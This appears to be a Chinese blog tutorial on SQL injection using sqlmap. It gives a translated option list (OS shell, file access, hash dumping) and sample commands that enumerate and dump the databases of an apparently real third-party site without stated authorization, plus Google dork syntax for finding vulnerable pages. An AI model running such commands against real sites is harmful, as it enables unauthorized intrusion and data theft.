手把手教你用Python輕松玩轉SQL注入
回復“書籍”即可獲贈Python從入門到進階共10本電子書
前言
大家好,我是黃偉。相信大家經常有聽到過SQL注入啥的,但是并不是特別了解;小編以前就是經常聽別人說,但是自己啥都不懂,直到后來看了相關教材后才明白,原來是這么個東西,那么到底是什么東西了,又或者是不是個東西了?我們接著往下看。
一、淺談SQL注入
SQL注入其實就是把SQL命令插入到WEB表單中提交或者輸入一些頁面請求的查詢字符串,比如我們輸網址,就是相當于這種操作,只不過我們不是在測試SQL注入漏洞,而僅僅只是為了輸入后看到相應網頁上的內容而已。一般方法有,如:猜數(shù)據表名,其次就是繞過后臺漏洞,一般這兩種方法And或者Or關鍵字用的比較多。國內曾經也出現(xiàn)過類似的軟件,像什么啊D,明小子,曾經也是一眾腳本小子的必備神器,現(xiàn)在由于未更新也怕是涼涼了,只不過曾經也曾輝煌過。
二、Sqlmap的注入方式
Sqlmap總共有五種不同的注入模式,如下:
1.時間盲注
2.布爾盲注
3.報錯注入
4.聯(lián)合查詢注入
5.堆查詢注入
三、Sqlmap支持的數(shù)據庫
基本上主流數(shù)據庫它都支持,比如Mysql ,Mongo,Oracle,Sqlserver,Access,Sqlite等等。
四、Sqlmap安裝
這里我們可以使用兩種方案,一個是安裝Sqlmap的Python版本,另一個是下載已經編譯好的Sqlmap應用程序,看你選擇哪個。只不過官網下載會比較慢,所以,貼心的小編已經將它們都下載下來了,大家直接按照我提供的下載地址進行下載即可,如下:
Sqlmap.py :https://u062.com/file/7715018-453776489Sqlmap.exe:https://u062.com/file/7715018-453776892
五、玩轉基本命令
這里我們以Sqlmap程序為主來進行講解,當然你也可以使用Python版的Sqlmap,命令都一樣。有命令自然離不開參數(shù),Sqlmap也是一樣,不過它里面的參數(shù)也是出奇的多,我的乖乖,小編表示哭暈在廁所。下面我們來一個個進行講解,也許可能講的不是很全面,希望多多包涵。我們都知道不管哪個命令行工具都會有幫助命令,Sqlmap也不例外,一個""-h",直接所有命令通通給你列出來,如下:

相信大家從圖中看到了眾多的中文,開始犯難了,不慌,問題不大。此外,不知道大家有沒有看到”-hh“這個不知道是什么鬼,其實這就是比”-h“稍微高級那么一點而已。如圖所示:

比”-h“看起來更加有條理。那么讓俺來親自向大家介紹下這些參數(shù)的用處吧,起碼先給它翻譯過來。
Options(選項):–version 顯示程序的版本號并退出-h, –help 顯示此幫助消息并退出-v VERBOSE 詳細級別:0-6(默認為1)以上七個等級分別為:0、只顯示python錯誤以及嚴重的信息1、同時顯示基本信息和警告信息(默認)2、同時顯示debug信息3、同時顯示注入的payload4、同時顯示HTTP請求5、同時顯示HTTP響應頭6、同時顯示HTTP響應頁面Target(目標):以下至少需要設置其中一個選項,設置目標URL。-d DIRECT 直接連接到數(shù)據庫。-u URL, –url=URL 目標URL。-l LIST 從Burp或WebScarab代理的日志中解析目標。-m BULKFILE 掃描多個目標列入給定文本文件-r REQUESTFILE 從一個文件中載入HTTP請求。-g GOOGLEDORK 處理Google dork的結果作為目標URL。-c CONFIGFILE 從INI配置文件中加載選項。Request(請求):這些選項可以用來指定如何連接到目標URL。–data=DATA 通過POST發(fā)送的數(shù)據字符串——param-del = PDEL字符用于分割參數(shù)值–cookie=COOKIE HTTP Cookie頭--load-cookies= 讀取Netscape/wget格式的cookies文件–cookie-urlencode URL 編碼生成的cookie注入–drop-set-cookie 忽略響應的Set – Cookie頭信息–user-agent=AGENT 指定 HTTP User – Agent頭–random-agent 使用隨機選定的HTTP User – Agent頭--force-ssl 使用SSL / HTTPS請求--host=HOST HTTP主機頭–referer=REFERER 指定 HTTP Referer頭–headers=HEADERS 換行分開,加入其它的HTTP頭–auth-type=ATYPE HTTP身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份驗證憑據(用戶名:密碼)–auth-cert=ACERT HTTP認證證書(key_file,cert_file)–proxy=PROXY 使用HTTP代理連接到目標URL–proxy-cred=PCRED HTTP代理身份驗證憑據(用戶名:密碼)–ignore-proxy 忽略系統(tǒng)默認的HTTP代理–delay=DELAY 在每個HTTP請求之間的延遲時間,單位為秒–timeout=TIMEOUT 等待連接超時的時間(默認為30秒)–retries=RETRIES 連接超時后重新連接的時間(默認3)–scope=SCOPE 從所提供的代理日志中過濾器目標的正則表達式–safe-url=SAFURL 在測試過程中經常訪問的url地址–safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL--skip-urlencode 跳過URL編碼的數(shù)據--eval=EVALCODE 評估請求之前提供Python代碼(如?!癷mport hashlib; id2 = hashlib.md5 (id) .hexdigest())Optimization(優(yōu)化):這些選項可用于優(yōu)化SqlMap的性能。-o 開啟所有優(yōu)化開關–predict-output 預測常見的查詢輸出–keep-alive 使用持久的HTTP(S)連接–null-connection 從沒有實際的HTTP響應體中檢索頁面長度–threads=THREADS 最大的HTTP(S)請求并發(fā)量(默認為1)Injection(注入):這些選項可以用來指定測試哪些參數(shù), 提供自定義的注入payloads和可選篡改腳本。-p TESTPARAMETER 可測試的參數(shù)(S)–dbms=DBMS 強制后端的DBMS為此值–os=OS 強制后端的DBMS操作系統(tǒng)為這個值——invalid-bignum 使用大數(shù)據無效值——invalid-logical 使用邏輯操作無效值——no-cast 關掉負載鑄造機制——no-unescape 關掉字符串unescap機制–prefix=PREFIX 注入payload字符串前綴–suffix=SUFFIX 注入payload字符串后綴–tamper=TAMPER 使用給定的腳本篡改注入數(shù)據--skip=SKIP 跳過給定的參數(shù)Detection(檢測):這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。–level=LEVEL 執(zhí)行測試的等級(1-5,默認為1)–risk=RISK 執(zhí)行測試的風險(0-3,默認為1)–string=STRING 字符串匹配時查詢計算為True--not-string=NOT.. 字符串匹配時查詢計算為False–regexp=REGEXP 查詢時有效時在頁面匹配正則表達式——code= HTTP狀態(tài)碼–text-only 僅基于在文本內容比較網頁Techniques(技巧):這些選項可用于調整具體的SQL注入測試。–technique=TECH SQL注入技術測試(默認BEUST)–time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)–union-cols=UCOLS 定列范圍用于測試UNION查詢注入–union-char=UCHAR 用于暴力猜解列數(shù)的字符--dns-domain= DNS . .域名用于DNS漏出攻擊--second-order= S . .產生的頁面的url搜索二階響應Fingerprint(指紋):-f, –fingerprint 執(zhí)行檢查廣泛的DBMS版本指紋Enumeration(枚舉):這些選項可以用來列舉后端數(shù)據庫管理系統(tǒng)的信息、表中的結構和數(shù)據。此外,您還可以運行您自己的SQL語句。-b, –banner 檢索數(shù)據庫管理系統(tǒng)的標識–current-user 檢索數(shù)據庫管理系統(tǒng)當前用戶–current-db 檢索數(shù)據庫管理系統(tǒng)當前數(shù)據庫–is-dba 檢測DBMS當前用戶是否DBA–users 枚舉數(shù)據庫管理系統(tǒng)用戶–passwords 枚舉數(shù)據庫管理系統(tǒng)用戶密碼哈希–privileges 枚舉數(shù)據庫管理系統(tǒng)用戶的權限–roles 枚舉數(shù)據庫管理系統(tǒng)用戶的角色–dbs 枚舉數(shù)據庫管理系統(tǒng)數(shù)據庫–tables 枚舉的DBMS數(shù)據庫中的表–columns 枚舉DBMS數(shù)據庫表列——schema 列舉DBMS模式——count 計算檢索表(s)的條目數(shù)量–dump 轉儲數(shù)據庫管理系統(tǒng)的數(shù)據庫中的表項–dump-all 轉儲所有的DBMS數(shù)據庫表中的條目–search 搜索列(S),表(S)和/或數(shù)據庫名稱(S)-D DBname 要進行枚舉的指定數(shù)據庫名-T TBLname 要進行枚舉的指定數(shù)據庫表(如:-T tablename –columns)-C COL 要進行枚舉的數(shù)據庫列-U USER 用來進行枚舉的數(shù)據庫用戶-–exclude-sysdbs 枚舉表時排除系統(tǒng)數(shù)據庫-–start=LIMITSTART 第一個查詢輸出進入檢索-–stop=LIMITSTOP 最后查詢的輸出進入檢索-–first=FIRSTCHAR 第一個查詢輸出字的字符檢索-–last=LASTCHAR 最后查詢的輸出字字符檢索-–sql-query=QUERY 要執(zhí)行的SQL語句-–sql-shell 提示交互式SQL的shell--sql-file = SQLFILE執(zhí)行SQL語句從給定的文件(s)Brute force(蠻力):這些選項可以被用來運行蠻力檢查。–common-tables 檢查存在共同表–common-columns 檢查存在共同列User-defined function injection(用戶自定義函數(shù)注入):這些選項可以用來創(chuàng)建用戶自定義函數(shù)。–udf-inject 注入用戶自定義函數(shù)–shared-lib=SHLIB 共享庫的本地路徑File system access(訪問文件系統(tǒng)):這些選項可以被用來訪問后端數(shù)據庫管理系統(tǒng)的底層文件系統(tǒng)。–file-read=RFILE 從后端的數(shù)據庫管理系統(tǒng)文件系統(tǒng)讀取文件–file-write=WFILE 編輯后端的數(shù)據庫管理系統(tǒng)文件系統(tǒng)上的本地文件–file-dest=DFILE 后端的數(shù)據庫管理系統(tǒng)寫入文件的絕對路徑Operating system access(操作系統(tǒng)訪問):這些選項可以用于訪問后端數(shù)據庫管理系統(tǒng)的底層操作系統(tǒng)。–os-cmd=OSCMD 執(zhí)行操作系統(tǒng)命令–os-shell 交互式的操作系統(tǒng)的shell–os-pwn 獲取一個OOB shell,meterpreter或VNC–os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC–os-bof 存儲過程緩沖區(qū)溢出利用–priv-esc 數(shù)據庫進程用戶權限提升–msf-path=MSFPATH Metasploit Framework本地的安裝路徑–tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑Windows注冊表訪問:這些選項可以被用來訪問后端數(shù)據庫管理系統(tǒng)Windows注冊表。–reg-read 讀一個Windows注冊表項值–reg-add 寫一個Windows注冊表項值數(shù)據–reg-del 刪除Windows注冊表鍵值–reg-key=REGKEY Windows注冊表鍵–reg-value=REGVAL Windows注冊表項值–reg-data=REGDATA Windows注冊表鍵值數(shù)據–reg-type=REGTYPE Windows注冊表項值類型General(一般)這些選項可以用來設置一些一般的工作參數(shù)。-t TRAFFICFILE 記錄所有HTTP流量到一個文本文件中–batch 從不詢問用戶輸入,使用所有默認配置--charset=CHARSET 強制字符串編碼--crawl=CRAWLDEPTH 從起始位置爬取的深度--csv-del=CSVDEL 指定在CSV輸出中使用的分隔字符——dbms-cred=DBMS.. DBMS身份驗證憑據(用戶:密碼)--eta 顯示每個輸出的預計到達時間--flush-session 刷新當前目標的會話文件--forms 在目標URL上解析和測試表單--fresh-queries 忽略在會話文件中存儲的查詢結果--hex dump非ascii字符時,將其編碼為16進制,收到后解碼還原--output-dir=OUT.. 輸出結果至文件--parse-errors 解析并顯示報錯信息--replicate 復制數(shù)據到一個數(shù)據庫sqlite3–save file保存選項到INI配置文件——tor 使用tor匿名網絡——tor-port=TORPORT 設置Tor代理端口,而不是默認設置——tor-type=TORTYPE 設置Tor代理類型(HTTP違約,SOCKS4或SOCKS5)–update 更新SqlMapMiscellaneous(雜項):-z MNEMONICS 參數(shù)助記符,例:-z "bat,randoma,ign,tec=BEU" 其實就是只要你寫的字母可以唯一匹配其它參數(shù),就可以生效。–check-payload IDS對注入payloads的檢測測試--alert=ALERT 在找到SQL注入時運行主機OS命令--answers=ANSWERS 設置問題答案,在剛剛的--batch 可以跳過很多問題,但只是選擇默認值,可以使用者個參數(shù)對特定問題設定特定答案。例:--answer "extending=N"–beep 發(fā)現(xiàn)SQL注入時提醒--cleanup SqlMap具體的UDF和表清理DBMS--dependencies 檢查缺少的Sql映射依賴項--disable-coloring 禁用控制臺輸出著色--gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結果--identify-waf 識別目標的防火墻--mobile cosplay 手機--offline 在脫機模式下工作--purge-output 情況輸出文件夾--skip-waf 跳過WAF/IPS/IDS保護的啟發(fā)式檢測--smart 有大量檢測目標時候,只選擇基于錯誤的檢測--sqlmap-shell 創(chuàng)建一個交互的sqlmap_shell--tmp-dir=TMPDIR 更改存儲臨時文件的本地目錄--web-root=WEBROOT 設置Web服務器文檔根目錄。例:--web-root="/www"--wizard 給初級用戶的簡單向導界面
上面便是小編輸入Sqlmap的幫助命令后翻譯好的Sqlmap全部指令了,下面我們來進行實際應用下。
1.判斷相關條件來判斷URL是否存在注入

我們給它設置了一個數(shù)據庫和url的請求指令,相當于是在查找Mysql數(shù)據庫中是否存在注入點,然后我又選擇它里面的數(shù)據庫來進行獲取,然后它便會不斷的使用SQL語句對這個數(shù)據庫進行定點爆破,如圖:


2.構建Post請求
上面我們所做的請求其實就是個Get請求,現(xiàn)在我們來看看Post請求,如下:

就像我們平時那樣構建Post請求的格式就可以了。
3.獲取數(shù)據庫、表信息
當我們找到注入點后就可以很輕易的找到這些數(shù)據庫和它對應的表了,比如:
Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 -dbs#所有數(shù)據庫Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 –-current-db#當前數(shù)據庫Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --tables -D VIP #數(shù)據表Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 –-current-user#當前用戶Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --columns -T admin -D VIP #查admin表中有哪些字段Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -dbms mysql -v 3 --is-dba#判斷歸屬Sqlmap -u http://www.juliwz.cn/forum.php?id=1 -D "VIP" --dump-all#轉儲所有表
4.爆破用戶名和密碼
利用自己搭建的WEB服務器來作為測試點,我們來試試看,如下:


5.Google Hacker語法糖
講到這里我們不得不提一下GoogleHacker語法,如下:
intitle: 從網頁標題中搜索指定的關鍵字,可專門用來搜索指定版本名稱的各類web程序,也可用allintitleinurl: 從url中搜索指定的關鍵字,可專門用來構造各種形式的漏洞url,也可用allinurlintext:從網頁中搜索指定的關鍵字,可專門用它來穿透到漏洞頁面等……也可用allintextfiletype: 搜索指定的文件后綴,例如:jpg sql mdb txt bak ini zip rar doc xls……site: 在某個特定的網站內中搜索指定的內容link:搜索和該鏈接有關聯(lián)連接,比如:友情鏈接index of: 找目錄遍歷會用到+ 強制包含某個字符進行查詢- 查詢的時候忽略某個字符"" 查詢的時候精確匹配雙引號內的字符. 匹配某單個字符進行查詢* 匹配任意字符進行查詢| 或者,多個選擇,只要有一個關鍵字匹配上即可
講這個的目的主要是什么了?其實也就是SQL注入,很多人可能覺得這跟SQL注入沒關系啊,那你就錯了,這個也是找后門的常用語法。不信的話你可以和小編一起來看看,如下:


后面的我就不介紹了,免得害人,相信看了我寫的例子,很多人都基本上會了。
六、總結
總的來說,SQL注入無非就是一段艱難險阻的路程,你可以發(fā)現(xiàn)但是別人也可以防御,雖然你發(fā)現(xiàn)要比較久的時間,但是人家防御卻是很輕松,個人覺得得不償失,不建議大家深入了解,只是做個簡單的介紹了解下就好,至少你搜索技能因此而提高了不少吧。
------------------- End -------------------
往期精彩文章推薦:

歡迎大家點贊,留言,轉發(fā),轉載,感謝大家的相伴與支持
想加入Python學習群請在后臺回復【入群】
萬水千山總是情,點個【在看】行不行
/今日留言主題/
隨便說一兩句吧~
